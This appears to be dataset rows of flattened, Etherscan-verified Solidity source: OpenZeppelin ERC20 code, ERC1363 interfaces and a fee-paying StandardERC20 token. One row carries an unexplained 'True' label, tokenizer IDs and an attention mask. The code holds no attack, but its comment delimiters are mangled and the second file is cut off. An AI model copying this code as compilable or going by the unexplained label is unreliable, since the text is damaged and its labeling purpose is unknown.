^0.8.0; /* * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. / abstract contract ERC20Decimals is ERC20 { uint8 immutable private _decimals; /* * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. / constructor (uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /* * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor ( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") payable { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 6185, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1063, 6226, 1065, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1036, 4604, 2121, 1036, 2000, 1036, 7799, 1036, 2478, 1996, 1008, 21447, 7337, 1012, 1036, 3815, 1036, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-11-06 / // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol pragma solidity ^0.8.0; /* * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). / abstract contract ERC20Burnable is Context, ERC20 { /* * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. / function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /* * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. / function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol pragma solidity ^0.8.0; /* * @dev Extension of {ERC20} that adds a cap to the supply of tokens. / abstract contract ERC20Capped is ERC20 { uint256 private immutable _cap; /* * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. / constructor(uint256 cap_) { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /* * @dev Returns the cap on the token's total supply. / function cap() public view virtual returns (uint256) { return _cap; } /* * @dev See {ERC20-_mint}. / function _mint(address account, uint256 amount) internal virtual override { require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(account, amount); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: erc-payable-token/contracts/token/ERC1363/IERC1363.sol pragma solidity ^0.8.0; /* * @title IERC1363 Interface * @dev Interface for a Payable Token contract as defined in * https://eips.ethereum.org/EIPS/eip-1363 / interface IERC1363 is IERC20, IERC165 { /* * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @return true unless throwing / function transferAndCall(address recipient, uint256 amount) external returns (bool); /* * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `recipient` * @return true unless throwing / function transferAndCall( address recipient, uint256 amount, bytes calldata data ) external returns (bool); /* * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param sender address The address which you want to send tokens from * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @return true unless throwing / function transferFromAndCall( address sender, address recipient, uint256 amount ) external returns (bool); /* * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param sender address The address which you want to send tokens from * @param recipient address The address which you want to transfer to * @param amount uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `recipient` * @return true unless throwing / function transferFromAndCall( address sender, address recipient, uint256 amount, bytes calldata data ) external returns (bool); /* * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param amount uint256 The amount of tokens to be spent / function approveAndCall(address spender, uint256 amount) external returns (bool); /* * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param amount uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format, sent in call to `spender` / function approveAndCall( address spender, uint256 amount, bytes calldata data ) external returns (bool); } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol pragma solidity ^0.8.0; /* * @title IERC1363Receiver Interface * @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 / interface IERC1363Receiver { /* * @notice Handle the receipt of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function * @param sender address The address which are token transferred from * @param amount uint256 The amount of tokens transferred * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` unless throwing / function onTransferReceived( address operator, address sender, uint256 amount, bytes calldata data ) external returns (bytes4); } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol pragma solidity ^0.8.0; /* * @title IERC1363Spender Interface * @dev Interface for any contract that wants to support approveAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 / interface IERC1363Spender { /* * @notice Handle the approval of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after an `approve`. This function MAY throw to revert and reject the * approval. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param sender address The address which called `approveAndCall` function * @param amount uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` unless throwing / function onApprovalReceived( address sender, uint256 amount, bytes calldata data ) external returns (bytes4); } // File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol pragma solidity 